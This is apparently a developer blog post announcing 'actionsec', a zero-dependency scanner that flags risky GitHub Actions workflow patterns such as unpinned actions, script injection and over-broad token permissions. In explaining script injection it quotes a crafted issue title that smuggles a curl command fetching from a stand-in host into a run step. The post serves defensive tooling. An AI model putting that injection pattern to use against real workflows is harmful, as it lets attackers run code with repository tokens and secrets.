Your CI workflow is the softest target in your repo. It runs automatically, it
has a GITHUB_TOKEN that can push commits, and it can read your secrets. The
supply-chain attacks of 2025 — reviewdog, tj-actions/changed-files — all came
in through the same unlocked door: a workflow that trusted a mutable action
tag, so when the upstream tag got repointed at malicious code, every consumer
ran it with full privileges.
The uncomfortable stat: 71% of repositories never pin their actions to a commit
SHA. @v4 is not a version — it's a
moving pointer someone else controls.
I wanted a five-second check for this and the other top footguns, with nothing to
install and nothing to configure. So I built actionsec.
npx actionsec
.github/workflows/ci.yml
✗ critical L12 pull-request-target-checkout pull_request_target checks out PR head code — untrusted code runs with a write token
✗ critical L16 script-injection untrusted github.event.pull_request.title in a run step
✗ high L5 broad-permissions permissions: write-all gives the token full read/write
✗ high L13 unpinned-action some-marketplace/deploy-action@main is a mutable branch — pin to a SHA
✗ medium L10 unpinned-action actions/checkout@v4 is a mutable tag — pin to a SHA
✗ 5 issue(s) in 1 of 1 file(s) — 2 critical, 2 high, 1 medium
The five checks
| Check | Why it matters |
|---|---|
| unpinned-action |
@v4 / @main is mutable. If the upstream tag is repointed (compromise or maintainer error), you run new code with your token. Pin to a 40-char SHA. |
| script-injection |
${{ github.event.issue.title }} in a run: step is substituted into the shell before it runs — a crafted issue title like `"; curl evil.sh \ |
| broad-permissions | {% raw %}permissions: write-all hands the token the whole repo. One injected command and it's pushing to main. |
| missing-permissions | No permissions: block means the repo default — often more than the job needs. |
| pull-request-target-checkout |
pull_request_target runs with a privileged token and secrets; checking out the PR's code then executes a stranger's code with them. |
The interesting constraint: zero dependencies on YAML
Workflows are YAML, and here's the thing — neither Node nor Python ships a YAML
parser in the standard library. Pulling one in would mean the tool itself has a
dependency tree (the exact thing a security tool shouldn't have).
So actionsec doesn't parse YAML into a tree at all. It scans line by line with
light block-awareness. That sounds crude, but it turns out every one of these
checks is textually distinctive — a uses: line, a ${{ }} expression inside
a run: block — so a careful line scanner catches them without ever needing to
understand the document structure. The payoff: it installs in one step, depends
on nothing, and runs in milliseconds. (It even distinguishes a third-party action
on a tag, high, from a GitHub-owned actions/* on a tag, medium.)
It is not trying to replace actionlint
(YAML/syntax validation) or zizmor (deep
dataflow analysis). It's the fast, zero-config first pass that fits in a pre-commit
hook or a one-line CI gate.
In CI
# fail the build on the serious stuff
- run: npx actionsec --min-severity high
Exit 0 clean, 1 issues found, 2 error. --format json for tooling.
Install
npx actionsec # Node — zero deps
pip install actionsec # Python — pure stdlib, works on any repo
Both produce byte-for-byte identical output.
Try it on your own repos
Point it at a repo you maintain — npx actionsec path/to/repo — and tell me what
it finds. I'm especially curious how many @v4s are hiding in workflows people
think of as "official and therefore safe."
When you write a workflow, do you pin actions to a SHA, or is @v4 good enough for
your threat model?
Top comments (0)